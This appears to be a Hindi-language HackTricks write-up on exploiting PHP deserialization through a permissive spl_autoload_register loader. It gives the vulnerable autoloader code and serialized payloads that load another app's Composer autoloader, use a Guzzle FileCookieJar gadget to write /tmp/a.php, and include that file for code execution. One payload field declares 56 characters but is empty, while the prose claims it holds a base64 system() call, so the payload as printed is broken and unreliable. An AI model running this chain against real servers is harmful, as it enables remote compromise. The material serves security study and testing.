# PHP - Deserialization + Autoload Classes {{#include ../../banners/hacktricks-training.md}} पहले, आपको यह जांचना चाहिए कि [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php) क्या हैं। ## PHP deserialization + spl_autoload_register + LFI/Gadget हम एक ऐसी स्थिति में हैं जहाँ हमें एक **PHP deserialization एक वेब ऐप में** मिली है जिसमें **कोई** लाइब्रेरी **gadgets** के लिए कमजोर नहीं है **`phpggc`** के अंदर। हालाँकि, उसी कंटेनर में एक **अलग composer वेब ऐप था जिसमें कमजोर लाइब्रेरी** थीं। इसलिए, लक्ष्य था **दूसरे वेब ऐप के composer लोडर को लोड करना** और इसका दुरुपयोग करना **एक gadget लोड करने के लिए जो उस लाइब्रेरी का दुरुपयोग करेगा** जो deserialization के लिए कमजोर है। चरण: - आपने एक **deserialization** पाया है और वर्तमान ऐप कोड में **कोई gadget** नहीं है - आप एक **`spl_autoload_register`** फ़ंक्शन का दुरुपयोग कर सकते हैं जैसे कि निम्नलिखित **किसी भी स्थानीय फ़ाइल को लोड करने के लिए जिसमें `.php` एक्सटेंशन** है - इसके लिए आप एक deserialization का उपयोग करते हैं जहाँ कक्षा का नाम **`$name`** के अंदर होगा। आप **serialized object** में कक्षा के नाम में "/" या "." का उपयोग **नहीं** कर सकते, लेकिन **कोड** **underscores** ("\_") को **slashes** ("/") के लिए **बदल रहा है**। इसलिए एक कक्षा का नाम जैसे `tmp_passwd` `/tmp/passwd.php` में परिवर्तित हो जाएगा और कोड इसे लोड करने की कोशिश करेगा।\ एक **gadget उदाहरण** होगा: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` > [!TIP] > यदि आपके पास एक **फाइल अपलोड** है और आप **`.php` एक्सटेंशन** वाली फाइल अपलोड कर सकते हैं, तो आप इस कार्यक्षमता का **सीधे दुरुपयोग** कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं। मेरे मामले में, मेरे पास ऐसा कुछ नहीं था, लेकिन **समान कंटेनर** के अंदर एक और कंपोजर वेब पेज था जिसमें एक **लाइब्रेरी थी जो `phpggc` गैजेट के लिए संवेदनशील थी**। - इस अन्य लाइब्रेरी को लोड करने के लिए, सबसे पहले आपको **उस अन्य वेब ऐप का कंपोजर लोडर लोड करना होगा** (क्योंकि वर्तमान एप्लिकेशन का लोडर दूसरे के लाइब्रेरी तक पहुंच नहीं पाएगा)। **एप्लिकेशन का पथ जानकर**, आप इसे बहुत आसानी से प्राप्त कर सकते हैं: **`O:28:"www_frontend_vendor_autoload":0:{}`** (मेरे मामले में, कंपोजर लोडर `/www/frontend/vendor/autoload.php` में था) - अब, आप **अन्य ऐप के कंपोजर लोडर को लोड** कर सकते हैं, तो अब **`phpgcc`** **पेलोड** बनाने का समय है। मेरे मामले में, मैंने **`Guzzle/FW1`** का उपयोग किया, जिसने मुझे **फाइल सिस्टम के अंदर कोई भी फाइल लिखने** की अनुमति दी। - नोट: **जनरेट किया गया गैजेट काम नहीं कर रहा था**, इसके काम करने के लिए मैंने **`chain.php`** पेलोड को phpggc में **संशोधित** किया और **क्लास के सभी गुणों** को **प्राइवेट से पब्लिक** में सेट किया। यदि नहीं, तो स्ट्रिंग को डीसिरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स के गुणों में कोई मान नहीं था। - अब हमारे पास **अन्य ऐप के कंपोजर लोडर को लोड करने का तरीका है** और एक **phpggc पेलोड है जो काम करता है**, लेकिन हमें **इसे उसी अनुरोध में करना होगा ताकि लोडर को तब लोड किया जा सके जब गैजेट का उपयोग किया जाए**। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड एरे भेजा जैसे: - आप देख सकते हैं **पहले लोडर लोड हो रहा है और फिर पेलोड** ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` - अब, हम **एक फ़ाइल बना और लिख सकते हैं**, हालाँकि, उपयोगकर्ता **वेब सर्वर के अंदर किसी भी फ़ोल्डर में नहीं लिख सका**। तो, जैसा कि आप पेलोड में देख सकते हैं, PHP **`system`** को कुछ **base64** के साथ कॉल कर रहा है जो **`/tmp/a.php`** में बनाया गया है। फिर, हम **पहले प्रकार के पेलोड** का पुन: उपयोग कर सकते हैं जिसे हमने LFI के रूप में अन्य वेब ऐप के कंपोज़र लोडर को लोड करने के लिए **जनित `/tmp/a.php`** फ़ाइल लोड करने के लिए उपयोग किया था। बस इसे डेसिरियलाइजेशन गैजेट में जोड़ें: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` **पेलोड का सारांश** - **एक ही कंटेनर में एक अलग वेब ऐप का कंपोजर ऑटोलोड लोड करें** - **एक phpggc गैजेट लोड करें** ताकि दूसरे वेब ऐप की एक लाइब्रेरी का दुरुपयोग किया जा सके (जिस वेब ऐप में डेसिरियलाइजेशन के लिए कमजोर था, उसकी लाइब्रेरी में कोई गैजेट नहीं था) - गैजेट **/tmp/a.php** में एक PHP पेलोड के साथ एक फ़ाइल बनाएगा जिसमें दुर्भावनापूर्ण कमांड होंगे (वेब ऐप उपयोगकर्ता किसी भी वेब ऐप के किसी भी फ़ोल्डर में लिख नहीं सकता) - हमारे पेलोड का अंतिम भाग **जनित PHP फ़ाइल को लोड करेगा** जो कमांड निष्पादित करेगा मुझे **इस डेसिरियलाइजेशन को दो बार कॉल करना पड़ा**। मेरे परीक्षण में, पहली बार `/tmp/a.php` फ़ाइल बनाई गई लेकिन लोड नहीं हुई, और दूसरी बार इसे सही तरीके से लोड किया गया। {{#include ../../banners/hacktricks-training.md}}